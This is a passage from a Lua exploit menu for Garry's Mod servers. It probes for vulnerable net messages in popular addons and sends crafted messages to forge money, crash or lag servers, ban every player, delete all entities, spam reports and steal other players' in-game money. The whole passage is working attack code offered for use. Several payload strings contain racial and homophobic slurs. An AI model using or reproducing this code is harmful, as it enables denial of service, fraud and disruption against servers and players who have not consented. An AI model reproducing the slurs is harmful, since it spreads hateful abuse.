7070for i=1, 300 do
7071net.Start("kart_sell")
7072net.WriteString("sw_gokart")
7073net.SendToServer()
7074end
7075end )
7076end
7077
7078status = ValidNetString("ClickerAddToPoints")
7079if (status) then
7080ECPrint("Found Exploit: Free Points [ClickerAddToPoints]")
7081addExploit( "134","Free Points", "", function()
7082surface.PlaySound("garrysmod/ui_click.wav")
7083ECNotify("Starting")
7084net.Start("ClickerAddToPoints")
7085net.WriteInt(99999999, 32)
7086net.SendToServer()
7087end )
7088end
7089
7090status = ValidNetString("bodyman_model_change")
7091if (status) then
7092ECPrint("Found Exploit: Body Groups [bodyman_model_change]")
7093addExploit( "135","Body Groups", "constantly changes your appearance", function()
7094surface.PlaySound("garrysmod/ui_click.wav")
7095ECNotify("Starting")
7096local PM = 1
7097local SK = 1
7098local BG = 1
7099local HN = 1
7100local TS = 1
7101local GL = 1
7102local LG = 1
7103if !timer.Exists( "bodygroups" ) then
7104timer.Create("bodygroups", 0, 0, function()
7105PlayerModels = {0,1,2,3,4,5,6}
7106Torso = {0,1,2,3,4,5,6,7,8,9,10}
7107Legs = {0,1,2,3,4,5,6}
7108Hands = {0,1,2}
7109Glasses = {0,1}
7110Skins = {0,1,2,3,4,5,6,7,8,9,10}
7111PM = PM+1
7112TS = TS+1
7113LG = LG+1
7114HN = HN+1
7115GL = GL+1
7116SK = SK+1
7117if (PM>#PlayerModels) then PM=1 end
7118if (SK>#Skins) then SK=1 end
7119if (HN>#Hands) then HN=1 end
7120if (TS>#Torso) then TS=1 end
7121if (GL>#Glasses) then GL=1 end
7122if (LG>#Legs) then LG=1 end
7123net.Start("bodyman_model_change")
7124net.WriteInt(PlayerModels[PM], 10 )
7125net.SendToServer()
7126net.Start("bodygroups_change")
7127net.WriteTable( { 1, Torso[TS] } )
7128net.SendToServer()
7129net.Start("bodygroups_change")
7130net.WriteTable( { 2, Legs[LG] } )
7131net.SendToServer()
7132net.Start("bodygroups_change")
7133net.WriteTable( { 3, Hands[HN] } )
7134net.SendToServer()
7135net.Start("bodygroups_change")
7136net.WriteTable( { 4, Glasses[GL] } )
7137net.SendToServer()
7138end )
7139else
7140timer.Remove("bodygroups")
7141ECNotify("Stopping")
7142end
7143end )
7144end
7145
7146status = ValidNetString("SendMoney")
7147if (status) then
7148ECPrint("Found Exploit: Free Money #16 [SendMoney]")
7149addExploit( "136","Free Money #16", "get money", function()
7150surface.PlaySound("garrysmod/ui_click.wav")
7151ECNotify("Starting")
7152hook.Remove( "HUDPaint", "skhdsakjl")
7153net.Start("SendMoney")
7154net.WriteEntity(LocalPlayer())
7155net.WriteEntity(LocalPlayer())
7156net.WriteEntity(LocalPlayer())
7157net.WriteString("-99999999")
7158net.SendToServer()
7159end )
7160end
7161
7162status = ValidNetString("BailOut")
7163if (status) then
7164ECPrint("Found Exploit: Free Money #17 [BailOut]")
7165addExploit( "137","Free Money #17", "", function()
7166surface.PlaySound("garrysmod/ui_click.wav")
7167ECNotify("Starting")
7168for k, v in pairs(player.GetAll()) do
7169net.Start("BailOut")
7170net.WriteEntity(LocalPlayer())
7171net.WriteEntity(v)
7172net.WriteFloat(-999999999)
7173net.SendToServer()
7174end
7175end )
7176end
7177
7178status = ValidNetString("hitcomplete")
7179if (status) then
7180ECPrint("Found Exploit: Free Money #18 [hitcomplete]")
7181addExploit( "138","Free Money #18", "get money", function()
7182surface.PlaySound("garrysmod/ui_click.wav")
7183ECNotify("Starting")
7184net.Start("hitcomplete")
7185net.WriteDouble(99999999)
7186net.SendToServer()
7187end )
7188end
7189----------------------------------------
7190for k,v in pairs(player.GetAll()) do
7191dahater = v
7192end
7193----------------------------------------
7194status = ValidNetString("hhh_request")
7195if (status) then
7196ECPrint("Found Exploit: Free Money #19 [hhh_request]")
7197addExploit( "139","Free Money #19", "get money", function()
7198surface.PlaySound("garrysmod/ui_click.wav")
7199ECNotify("Starting")
7200local plyhhh = LocalPlayer()
7201if dahater != plyhhh then
7202local hitRequest = {}
7203hitRequest.hitman = plyhhh
7204hitRequest.requester = plyhhh
7205hitRequest.target = dahater
7206hitRequest.reward = -9999999
7207net.Start('hhh_request')
7208net.WriteTable(hitRequest)
7209net.SendToServer()
7210else
7211ECPrint("In this version of HHH, you can not use an exploit!")
7212end
7213end )
7214end
7215
7216status = ValidNetString("DaHit")
7217if (status) then
7218ECPrint("Found Exploit: Free Money #20 [DaHit]")
7219addExploit( "140","Free Money #20", "get money", function()
7220surface.PlaySound("garrysmod/ui_click.wav")
7221ECNotify("Starting")
7222hook.Remove( "HUDPaint", "skhdsakjl")
7223net.Start("DaHit")
7224net.WriteFloat(-99999999)
7225net.WriteEntity(LocalPlayer())
7226net.WriteEntity(LocalPlayer())
7227net.WriteEntity(LocalPlayer())
7228net.SendToServer()
7229end )
7230end
7231
7232status = ValidNetString("textstickers_entdata")
7233if (status) then
7234ECPrint("Found Exploit: Crash #2 [textstickers_entdata]")
7235addExploit( "141","Crash #2", "1tap", function()
7236surface.PlaySound("garrysmod/ui_click.wav")
7237ECNotify("Starting")
7238net.Start("textstickers_entdata")
7239net.WriteUInt(0xFFFFFFF, 32)
7240net.SendToServer()
7241end )
7242end
7243
7244status = ValidNetString("gBan.BanBuffer")
7245if (status) then
7246ECPrint("Found Exploit: gBan Everyone [gBan.BanBuffer]")
7247addExploit( "142","gBan Everyone", "exploit in the old version of gban", function()
7248surface.PlaySound("garrysmod/ui_click.wav")
7249ECNotify("Starting")
7250for k,v in pairs(player.GetAll()) do
7251if v != LocalPlayer() then
7252net.Start("gBan.BanBuffer")
7253net.WriteBool(true)
7254net.WriteInt(0, 32)
7255net.WriteString("haha owned")
7256net.WriteString(v:SteamID())
7257net.SendToServer()
7258end
7259end
7260end )
7261end
7262
7263status = ValidNetString("ARMORY_RetrieveWeapon")
7264if (status) then
7265ECPrint("Found Exploit: Free Armory #1 [ARMORY_RetrieveWeapon]")
7266addExploit( "143","Free Armory #1", "get weapon #1", function()
7267surface.PlaySound("garrysmod/ui_click.wav")
7268ECNotify("Starting")
7269net.Start("ARMORY_RetrieveWeapon")
7270net.WriteString("weapon1")
7271net.SendToServer()
7272end )
7273end
7274
7275status = ValidNetString("ARMORY_RetrieveWeapon")
7276if (status) then
7277ECPrint("Found Exploit: Free Armory #2 [ARMORY_RetrieveWeapon]")
7278addExploit( "144","Free Armory #2", "get weapon #2", function()
7279surface.PlaySound("garrysmod/ui_click.wav")
7280ECNotify("Starting")
7281net.Start("ARMORY_RetrieveWeapon")
7282net.WriteString("weapon2")
7283net.SendToServer()
7284end )
7285end
7286
7287status = ValidNetString("ARMORY_RetrieveWeapon")
7288if (status) then
7289ECPrint("Found Exploit: Free Armory #3 [ARMORY_RetrieveWeapon]")
7290addExploit( "145","Free Armory #3", "get weapon #3", function()
7291surface.PlaySound("garrysmod/ui_click.wav")
7292ECNotify("Starting")
7293net.Start("ARMORY_RetrieveWeapon")
7294net.WriteString("weapon3")
7295net.SendToServer()
7296end )
7297end
7298
7299status = ValidNetString("TransferReport")
7300if (status) then
7301ECPrint("Found Exploit: Report Spammer [TransferReport]")
7302addExploit( "146","Report Spammer", "report all players", function()
7303surface.PlaySound("garrysmod/ui_click.wav")
7304ECNotify("Starting")
7305net.Start("TransferReport")
7306net.WriteString(v:SteamID())
7307net.WriteString("CHINKGANG FAGOTS")
7308net.WriteString("DITCH THIS SHITTY SERVER AND BUY R8 TODAY")
7309net.SendToServer()
7310end )
7311end
7312
7313status = ValidNetString("FIRE_CreateFireTruck")
7314if (status) then
7315ECPrint("Found Exploit: Create Fire Truck [FIRE_CreateFireTruck]")
7316addExploit( "147","Create Fire Truck", "", function()
7317surface.PlaySound("garrysmod/ui_click.wav")
7318ECNotify("Starting")
7319net.Start("FIRE_CreateFireTruck")
7320net.SendToServer()
7321end )
7322end
7323
7324status = ValidNetString("TFA_Attachment_RequestAll")
7325if (status) then
7326ECPrint("Found Exploit: Lagger #20 [TFA_Attachment_RequestAll]")
7327addExploit( "148","Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
7328surface.PlaySound("garrysmod/ui_click.wav")
7329if !timer.Exists( "lagger20" ) then
7330timer.Create("lagger20", 0,0, function()
7331for i = 1, 800 do
7332net.Start("TFA_Attachment_RequestAll",true)
7333net.SendToServer()
7334end
7335end)
7336ECNotify("Starting Lagger")
7337else
7338timer.Remove("lagger20")
7339ECNotify("Stopping Lagger")
7340end
7341end)
7342end
7343
7344status = ValidNetString("FIRE_RemoveFireTruck")
7345if (status) then
7346ECPrint("Found Exploit: Remove Fire Truck [FIRE_RemoveFireTruck]")
7347addExploit( "149","Remove Fire Truck", "", function()
7348surface.PlaySound("garrysmod/ui_click.wav")
7349ECNotify("Starting")
7350net.Start("FIRE_RemoveFireTruck")
7351net.SendToServer()
7352end )
7353end
7354
7355status = ValidNetString("gPrinters.sendID")
7356if (status) then
7357ECPrint("Found Exploit: Lagger #21 [gPrinters.sendID]")
7358addExploit( "150","Lagger #21", "B1G LAGZ, discovered by Leith", function()
7359surface.PlaySound("garrysmod/ui_click.wav")
7360ECNotify("Starting")
7361if not timer.Exists("lagger21") then
7362timer.Create("lagger21", 0, 0, function()
7363for i = 1, 1000 do
7364net.Start("gPrinters.sendID",true)
7365net.WriteEntity(LocalPlayer())
7366net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
7367net.SendToServer()
7368end
7369end )
7370end
7371end )
7372end
7373
7374status = ValidNetString("requestmoneyforvk") -- RusElite Server
7375if (status) then
7376ECPrint("Found Exploit: Free 50k [requestmoneyforvk]")
7377addExploit( "151","Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
7378surface.PlaySound("garrysmod/ui_click.wav")
7379ECNotify("Starting")
7380net.Start("requestmoneyforvk")
7381net.WriteEntity(LocalPlayer())
7382net.SendToServer()
7383end )
7384end
7385
7386status = ValidNetString("vj_testentity_runtextsd")
7387if (status) then
7388ECPrint("Found Exploit: VJSay [NEW] [vj_testentity_runtextsd]")
7389addExploit( "152","VJSay [NEW]", "'fix' of the old exploit", function()
7390surface.PlaySound("garrysmod/ui_click.wav")
7391ECNotify("Starting")
7392for k,v in pairs(player.GetAll()) do
7393net.Start("vj_testentity_runtextsd")
7394net.WriteEntity(v)
7395net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
7396net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
7397net.SendToServer()
7398end
7399end )
7400end
7401
7402status = ValidNetString("NET_BailPlayer") -- need to test
7403if (status) then
7404ECPrint("Found Exploit: Players Spam [NET_BailPlayer]")
7405addExploit( "153","Players Spam", "", function()
7406surface.PlaySound("garrysmod/ui_click.wav")
7407ECNotify("Starting")
7408for k, v in pairs (player.GetAll()) do
7409net.Start("NET_BailPlayer")
7410net.WriteEntity(v)
7411net.WriteEntity(v)
7412net.SendToServer()
7413end
7414end )
7415end
7416
7417status = ValidNetString("Taxi_Add") -- need to test
7418if (status) then
7419ECPrint("Found Exploit: Free Money #21 [Taxi_Add]")
7420addExploit( "154","Free Money #21", "maybe not work", function()
7421surface.PlaySound("garrysmod/ui_click.wav")
7422ECNotify("Starting")
7423net.Start("Taxi_Add")
7424net.WriteString("MLG")
7425net.WriteTable({-1333.647461, -1473.931763, -139.968750})
7426net.WriteFloat(-99999999)
7427net.WriteString(Desc)
7428net.SendToServer()
7429end )
7430end
7431
7432status = ValidNetString("BuyCar")
7433if (status) then
7434ECPrint("Found Exploit: Free Money #22 [BuyCar]")
7435addExploit( "155","Free Money #22", "get money", function()
7436surface.PlaySound("garrysmod/ui_click.wav")
7437ECNotify("Starting")
7438net.Start('BuyCar')
7439net.WriteFloat(-1000000)
7440net.WriteEntity(LocalPlayer())
7441net.WriteString("Gay")
7442net.WriteString("Cock")
7443net.WriteString("Twat")
7444net.SendToServer()
7445end )
7446end
7447
7448status = ValidNetString("rpi_trade_end")
7449if (status) then
7450ECPrint("Found Exploit: Test Function [rpi_trade_end]")
7451addExploit( "156","Test Function", "just test", function()
7452surface.PlaySound("garrysmod/ui_click.wav")
7453ECNotify("Starting")
7454local it = 0
7455timer.Create( util.CRC( tostring( CurTime() ) ), 0.5, 0, function()
7456if( it > #player.GetAll() ) then
7457it = 1;
7458else
7459it = it + 1;
7460end
7461net.Start("rpi_trade_end")
7462net.WriteUInt( it, 16 )
7463net.SendToServer()
7464end )
7465end )
7466end
7467
7468status = ValidNetString("ClickerForceSave")
7469if (status) then
7470ECPrint("Found Exploit: Melon Crash [ClickerForceSave]")
7471addExploit( "157","Melon Crash", "", function()
7472surface.PlaySound("garrysmod/ui_click.wav")
7473ECNotify("Starting")
7474hook.Add("Think","ps_spam",function()
7475for k, v in pairs (player.GetAll()) do
7476net.Start("ClickerForceSave")
7477net.WriteEntity(ply)
7478net.WriteInt(1, 1)
7479net.SendToServer()
7480end
7481end )
7482end )
7483end
7484
7485status = ValidNetString("SRequest")
7486if (status) then
7487ECPrint("Found Exploit: Deagle Grab [SRequest]")
7488addExploit( "158","Deagle Grab", "", function()
7489surface.PlaySound("garrysmod/ui_click.wav")
7490ECNotify("Starting")
7491for k, v in pairs (player.GetAll()) do
7492net.Start("SRequest")
7493net.WriteEntity(v)
7494net.SendToServer()
7495end
7496end )
7497end
7498
7499status = ValidNetString("HealButton")
7500if (status) then
7501ECPrint("Found Exploit: Free HP [HealButton]")
7502addExploit( "159","Free HP", "free hp", function()
7503surface.PlaySound("garrysmod/ui_click.wav")
7504ECNotify("Starting")
7505net.Start("HealButton")
7506net.WriteEntity(LocalPlayer())
7507net.WriteFloat(999999)
7508net.SendToServer()
7509end )
7510end
7511
7512status = ValidNetString("ArmorButton")
7513if (status) then
7514ECPrint("Found Exploit: Free Armor [ArmorButton]")
7515addExploit( "160","Free Armor", "free armor", function()
7516surface.PlaySound("garrysmod/ui_click.wav")
7517ECNotify("Starting")
7518net.Start("ArmorButton")
7519net.WriteEntity(LocalPlayer())
7520net.WriteFloat(999999)
7521net.SendToServer()
7522end )
7523end
7524
7525status = ValidNetString("SprintSpeedset")
7526if (status) then
7527ECPrint("Found Exploit: TTT SpeedHack [SprintSpeedset]")
7528addExploit( "161","TTT SpeedHack", "changes your speed", function()
7529surface.PlaySound("garrysmod/ui_click.wav")
7530ECNotify("Starting")
7531net.Start("SprintSpeedset")
7532net.WriteFloat(math.min(math.max(2, 0.1),2 ))
7533net.SendToServer()
7534end )
7535end
7536
7537status = ValidNetString("GiveArmor100")
7538if (status) then
7539ECPrint("Found Exploit: Armor Exploit [GiveArmor100]")
7540addExploit( "162","Armor Exploit", "", function()
7541surface.PlaySound("garrysmod/ui_click.wav")
7542ECNotify("Starting")
7543net.Start("GiveArmor100")
7544net.SendToServer()
7545end )
7546end
7547
7548status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
7549if (status) then
7550ECPrint("Found Exploit: 294 JAM [NEED TO TEST] [GiveSCP294Cup]")
7551SCPLAG = 0
7552addExploit( "163","SCP 249 JAM!", "", function()
7553surface.PlaySound("garrysmod/ui_click.wav")
7554ECNotify("Starting")
7555if (SCPLAG == 0) then
7556SCPLAG = 1
7557timer.Create( "LagThatShit", time, 0.05, function()
7558for k, v in pairs( ents.GetAll() ) do
7559if v:GetClass() == "scp294" then
7560net.Start("GiveSCP294Cup")
7561net.WriteString("shit")
7562net.WriteEntity(v)
7563net.SendToServer()
7564end
7565end
7566end)
7567else
7568SCPLAG = 0
7569timer.Remove("LagThatShit")
7570end
7571end)
7572end
7573
7574status = ValidNetString("Client_To_Server_OpenEditor")
7575if (status) then
7576ECPrint("Found Exploit: SCP 249 Drink Menu Hack [Client_To_Server_OpenEditor]")
7577addExploit( "164","SCP 249 Drink Menu Hack", "", function()
7578surface.PlaySound("garrysmod/ui_click.wav")
7579ECNotify("Starting")
7580net.Start("Client_To_Server_OpenEditor")
7581net.SendToServer()
7582end )
7583end
7584
7585status = ValidNetString("DuelMessageReturn")
7586if (status) then
7587ECPrint("Found Exploit: Duel Crazy [DuelMessageReturn]")
7588addExploit( "165","Duel Crazy", "forces all players to fight with all players, discovered by Solly", function()
7589surface.PlaySound("garrysmod/ui_click.wav")
7590ECNotify("Starting")
7591timer.Create("crazyduel", 0.1, 0, function()
7592s.duel[1] = table.Random( player.GetAll() )
7593s.duel[2] = table.Random( player.GetAll() )
7594net.Start("DuelMessageReturn")
7595net.WriteFloat(1)
7596net.WriteTable(s.duel)
7597net.SendToServer()
7598end )
7599end )
7600end
7601
7602status = ValidNetString("userAcceptPrestige")
7603if (status) then
7604ECPrint("Found Exploit: Free Prestige [userAcceptPrestige]")
7605addExploit( "166","Free Prestige", "exploit for free prestige", function()
7606surface.PlaySound("garrysmod/ui_click.wav")
7607ECNotify("Starting")
7608net.Start("userAcceptPrestige")
7609net.SendToServer()
7610end )
7611end
7612
7613status = ValidNetString("wordenns")
7614if (status) then
7615ECPrint("Found Exploit: Steal All Monies #11 [wordenns]")
7616addExploit( "167","Steal All Monies #11", "withdraw money from all printers", function()
7617surface.PlaySound("garrysmod/ui_click.wav")
7618ECNotify("Starting")
7619ECPrint("printers:".. tostring(#ents.FindByClass("derma_printer")))
7620for k,v in pairs(ents.FindByClass("derma_printer")) do
7621net.Start("wordenns")
7622net.WriteEntity(v)
7623net.SendToServer()
7624end
7625end)
7626end
7627
7628status = ValidNetString("guncraft_removeWorkbench")
7629if (status) then
7630ECPrint("Found Exploit: Remove all Entity [guncraft_removeWorkbench]")
7631addExploit( "168","Remove all Entity", "an exploit in addon 'GunCraft'", function()
7632surface.PlaySound("garrysmod/ui_click.wav")
7633ECNotify("Starting")
7634if !timer.Exists( "removentity" ) then
7635timer.Create("removentity", 3, 0, function()
7636for k,v in pairs(ents.GetAll()) do
7637net.Start("guncraft_removeWorkbench")
7638net.WriteEntity(v)
7639net.SendToServer()
7640end
7641end )
7642end
7643end )
7644end
7645
7646status = ValidNetString("BuyKey")
7647if (status) then
7648ECPrint("Found Exploit: Blue Unbox Exploit [NEED TO TEST]")
7649addExploit( "169","Blue Unbox Exploit", "", function()
7650surface.PlaySound("garrysmod/ui_click.wav")
7651ECNotify("Starting")
7652net.Start("BuyKey")
7653net.SendToServer()
7654net.Start("BuyCrate")
7655net.SendToServer()
7656end )
7657end
7658
7659status = ValidNetString("casinokit_chipexchange")
7660if (status) then
7661ECPrint("Found Exploit: Free Money #23 [casinokit_chipexchange]")
7662addExploit( "170","Free Money #23", "only works if outdated", function()
7663surface.PlaySound("garrysmod/ui_click.wav")
7664ECNotify("Starting")
7665local moneylog = LocalPlayer():getDarkRPVar("money")
7666net.Start("casinokit_chipexchange")
7667net.WriteEntity(self)
7668net.WriteString("darkrp")
7669net.WriteBool(true)
7670net.WriteUInt(LocalPlayer():getDarkRPVar("money"),32)
7671net.SendToServer()
7672timer.Simple(3, function()
7673for i=1, 5000 do
7674net.Start("casinokit_chipexchange")
7675net.WriteEntity(self)
7676net.WriteString("darkrp")
7677net.WriteBool(false)
7678net.WriteUInt(moneylog*0.10,32)
7679net.SendToServer()
7680end
7681end)
7682end )
7683end
7684
7685status = ValidNetString("PurchaseWeed")
7686if (status) then
7687ECPrint("Found Exploit: Buy Weed [PurchaseWeed]")
7688addExploit( "171","Buy Weed", "", function()
7689surface.PlaySound("garrysmod/ui_click.wav")
7690ECNotify("Starting")
7691net.Start("PurchaseWeed")
7692net.WriteInt(tonumber(10000),16)
7693net.WriteInt(tonumber(1),16)
7694net.WriteBool(LocalPlayer().Buying)
7695net.SendToServer()
7696end )
7697end
7698
7699status = ValidNetString("PurchaseWeed")
7700if (status) then
7701ECPrint("Found Exploit: Sell Weed [PurchaseWeed]")
7702addExploit( "172","Sell Weed", "", function()
7703surface.PlaySound("garrysmod/ui_click.wav")
7704ECNotify("Starting")
7705net.Start("PurchaseWeed")
7706net.WriteInt(tonumber(100),16)
7707net.WriteInt(tonumber(100),16)
7708net.WriteBool(LocalPlayer().Selling)
7709net.SendToServer()
7710end )
7711end
7712
7713status = ValidNetString("DoDealerDeliver")
7714if (status) then
7715ECPrint("Found Exploit: Buy Tab [DoDealerDeliver]")
7716addExploit( "173","Buy Tab", "", function()
7717surface.PlaySound("garrysmod/ui_click.wav")
7718ECNotify("Starting")
7719if(LocalPlayer():getDarkRPVar("money")>=WEED_CONFIG.TabletPrice) then
7720net.Start("DoDealerDeliver")
7721net.WriteBool(false)
7722net.SendToServer()
7723end
7724end )
7725end
7726
7727status = ValidNetString("DoDealerDeliver")
7728if (status) then
7729ECPrint("Found Exploit: Buy Bong [DoDealerDeliver]")
7730addExploit( "174","Buy Bong", "", function()
7731surface.PlaySound("garrysmod/ui_click.wav")
7732ECNotify("Starting")
7733if(LocalPlayer():getDarkRPVar("money")>=WEED_ITEMS.Items["Tools"]["bong"].price) then
7734net.Start("DoDealerDeliver")
7735net.WriteBool(true)
7736net.SendToServer()
7737end
7738end )
7739end
7740
7741status = ValidNetString("sendDuelInfo")
7742if (status) then
7743ECPrint("Found Exploit: Duel NPC Exploit [sendDuelInfo]")
7744addExploit( "175","Duel NPC Exploit", "", function()
7745surface.PlaySound("garrysmod/ui_click.wav")
7746ECNotify("Starting")
7747net.Start("sendDuelInfo")
7748net.WriteString(table.Random(player.GetAll()):Nick())
7749net.WriteString("xxdddd")
7750net.WriteString("1e+100")
7751net.WriteEntity(table.random(player.GetAll()):UserID())
7752net.WriteInt(3,3)
7753net.SendToServer()
7754end )
7755end
7756
7757status = ValidNetString("InviteMember")
7758if (status) then
7759ECPrint("Found Exploit: Invite all players [InviteMember]")
7760addExploit( "176","Invite all players", "Invite all players to your org", function()
7761surface.PlaySound("garrysmod/ui_click.wav")
7762ECNotify("Starting")
7763for k,v in pairs(player.GetAll()) do
7764net.Start("InviteMember")
7765net.WriteEntity(v)
7766net.WriteEntity(v)
7767net.WriteString("lol what")
7768net.SendToServer()
7769end
7770end )
7771end
7772
7773status = ValidNetString("newTerritory")
7774if (status) then
7775ECPrint("Found Exploit: New Territory [newTerritory]")
7776addExploit( "177","New Territory", "", function()
7777surface.PlaySound("garrysmod/ui_click.wav")
7778ECNotify("Starting")
7779for k,v in pairs(player.GetAll()) do
7780net.Start("newTerritory")
7781net.WriteString("Hackers")
7782net.WriteTable(t)
7783net.SendToServer()
7784end
7785end )
7786end
7787
7788status = ValidNetString("CreateOrganization")
7789if (status) then
7790ECPrint("Found Exploit: Org Exploit [CreateOrganization]")
7791addExploit( "178","Org Exploit", "", function()
7792surface.PlaySound("garrysmod/ui_click.wav")
7793ECNotify("Starting")
7794for k,v in pairs(player.GetAll()) do
7795net.Start("CreateOrganization")
7796net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7797net.WriteString( "Join my gang or will rekt u" )
7798net.SendToServer()
7799end
7800end )
7801end
7802
7803status = ValidNetString("DisbandOrganization")
7804if (status) then
7805ECPrint("Found Exploit: Org Disband [DisbandOrganization]")
7806addExploit( "179","Org Disband", "", function()
7807surface.PlaySound("garrysmod/ui_click.wav")
7808ECNotify("Starting")
7809net.Start("DisbandOrganization")
7810net.WriteEntity(LocalPlayer())
7811net.SendToServer()
7812end )
7813end
7814
7815status = ValidNetString("ChangeOrgName")
7816if (status) then
7817ECPrint("Found Exploit: Org Change Name [ChangeOrgName]")
7818addExploit( "180","Org Change Name", "", function()
7819surface.PlaySound("garrysmod/ui_click.wav")
7820ECNotify("Starting")
7821net.Start("ChangeOrgName")
7822net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
7823net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
7824net.WriteEntity(LocalPlayer())
7825net.SendToServer()
7826end )
7827end
7828
7829status = ValidNetString("IS_SubmitSID_C2S")
7830if (status) then
7831ECPrint("Found Exploit: Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
7832addExploit( "181","Free Reward", "", function()
7833surface.PlaySound("garrysmod/ui_click.wav")
7834ECNotify("Starting")
7835net.Start("IS_SubmitSID_C2S")
7836net.WriteString("Killa")
7837net.SendToServer()
7838net.Start("IS_GetReward_C2S")
7839net.SendToServer()
7840end )
7841end
7842
7843status = ValidNetString("AcceptBailOffer")
7844if (status) then
7845ECPrint("Found Exploit: Bail Offer Exploit [AcceptBailOffer]")
7846addExploit( "182","Bail Offer Exploit", "", function()
7847surface.PlaySound("garrysmod/ui_click.wav")
7848ECNotify("Starting")
7849for k,v in pairs(player.GetAll()) do
7850net.Start("AcceptBailOffer")
7851net.WriteEntity(v)
7852net.WriteUInt(-100000000000000000, 16 )
7853net.SendToServer()
7854end
7855end )
7856end
7857
7858status = ValidNetString("CP_Test_Results")
7859if (status) then
7860ECPrint("Found Exploit: CP Bypass [CP_Test_Results]")
7861addExploit( "183","CP Bypass", "", function()
7862surface.PlaySound("garrysmod/ui_click.wav")
7863ECNotify("Starting")
7864net.Start("CP_Test_Results")
7865net.WriteInt(1 ,8)
7866net.SendToServer()
7867end )
7868end
7869
7870status = ValidNetString("ReSpawn")
7871if (status) then
7872ECPrint("Found Exploit: Respawn #4 [ReSpawn]")
7873addExploit( "184","Respawn #4", "just respawn", function()
7874surface.PlaySound("garrysmod/ui_click.wav")
7875ECNotify("Starting")
7876net.Start("ReSpawn")
7877net.SendToServer()
7878end )
7879end
7880
7881status = ValidNetString("FIGHTCLUB_KickPlayer")
7882if (status) then
7883ECPrint("Found Exploit: Fight Club Kick [FIGHTCLUB_KickPlayer]")
7884addExploit( "185","Fight Club Kick", "", function()
7885surface.PlaySound("garrysmod/ui_click.wav")
7886ECNotify("Starting")
7887for k,v in pairs(player.GetAll()) do
7888net.Start("FIGHTCLUB_KickPlayer")
7889net.WriteBit(v)
7890net.WriteEntity(v)
7891net.SendToServer()
7892end
7893end )
7894end
7895
7896status = ValidNetString("FIGHTCLUB_StartFight")
7897if (status) then
7898ECPrint("Found Exploit: Fight Club Start Fight [FIGHTCLUB_StartFight]")
7899addExploit( "186","Fight Club Start Fight", "", function()
7900surface.PlaySound("garrysmod/ui_click.wav")
7901ECNotify("Starting")
7902for k,v in pairs(player.GetAll()) do
7903net.Start("FIGHTCLUB_StartFight")
7904net.WriteEntity(v)
7905net.SendToServer()
7906end
7907end )
7908end
7909
7910status = ValidNetString("IveBeenRDMed")
7911if (status) then
7912ECPrint("Found Exploit: Fake RDM [IveBeenRDMed]")
7913addExploit( "187","Fake RDM", "", function()
7914surface.PlaySound("garrysmod/ui_click.wav")
7915ECNotify("Starting")
7916for k,v in pairs(player.GetAll()) do
7917net.Start("IveBeenRDMed")
7918net.WriteEntity(v)
7919net.SendToServer()
7920end
7921end )
7922end
7923
7924status = ValidNetString("nCTieUpStart")
7925if (status) then
7926ECPrint("Found Exploit: Combine Control Exploit [nCTieUpStart]")
7927addExploit( "188","Combine Control Exploit", "", function()
7928surface.PlaySound("garrysmod/ui_click.wav")
7929ECNotify("Starting")
7930for k,v in pairs(ents.GetAll()) do
7931net.Start("nCTieUpStart")
7932net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7933net.SendToServer()
7934end
7935end )
7936end
7937
7938status = ValidNetString("DestroyTable")
7939if (status) then
7940ECPrint("Found Exploit: Fuck All [DestroyTable]")
7941addExploit( "189","Fuck All", "discovered by Leith", function()
7942surface.PlaySound("garrysmod/ui_click.wav")
7943ECNotify("Starting")
7944for k,v in pairs(ents.GetAll()) do
7945net.Start("DestroyTable")
7946net.WriteEntity(v)
7947net.SendToServer()
7948end
7949end )
7950end
7951
7952status = ValidNetString("start_wd_hack")
7953if (status) then
7954ECPrint("Found Exploit: Hack Phone Exploit [start_wd_hack]")
7955addExploit( "190","Hack Phone Exploit", "", function()
7956surface.PlaySound("garrysmod/ui_click.wav")
7957ECNotify("Starting")
7958net.Start("start_wd_hack")
7959net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7960net.SendToServer()
7961end )
7962end
7963
7964status = ValidNetString("bringNfreeze")
7965if (status) then
7966ECPrint("Found Exploit: Ban Exploit [bringNfreeze]")
7967addExploit( "191","Ban Exploit", "", function()
7968surface.PlaySound("garrysmod/ui_click.wav")
7969ECNotify("Starting")
7970for k,v in pairs(player.GetAll()) do
7971net.Start('bringNfreeze')
7972net.WriteEntity(self)
7973net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7974net.SendToServer()
7975end
7976end )
7977end
7978
7979status = ValidNetString("JoinFirstSS")
7980if (status) then
7981ECPrint("Found Exploit: Join First SS [JoinFirstSS]")
7982addExploit( "192","Join First SS", "", function()
7983surface.PlaySound("garrysmod/ui_click.wav")
7984ECNotify("Starting")
7985net.Start("JoinFirstSS")
7986net.WriteEntity(LocalPlayer())
7987net.SendToServer()
7988end )
7989end
7990
7991status = ValidNetString("unarrestPerson")
7992if (status) then
7993ECPrint("Found Exploit: Unarrest Person [unarrestPerson]")
7994addExploit( "193","Unarrest Person", "", function()
7995surface.PlaySound("garrysmod/ui_click.wav")
7996ECNotify("Starting")
7997for k,v in pairs(player.GetAll()) do
7998net.Start("unarrestPerson")
7999net.WriteEntity(v)
8000net.SendToServer()
8001end
8002end )
8003end
8004
8005status = ValidNetString("giveArrestReason")
8006if (status) then
8007ECPrint("Found Exploit: Give Arrest Reason [giveArrestReason]")
8008addExploit( "194","Give Arrest Reason", "", function()
8009surface.PlaySound("garrysmod/ui_click.wav")
8010ECNotify("Starting")
8011for k,v in pairs(player.GetAll()) do
8012net.Start("giveArrestReason")
8013net.WriteEntity(LocalPlayer())
8014net.WriteEntity(v)
8015net.WriteString("Faggot")
8016net.SendToServer()
8017end
8018end )
8019end
8020
8021status = ValidNetString("sellitem")
8022if (status) then
8023ECPrint("Found Exploit: Free Money #24 [sellitem]")
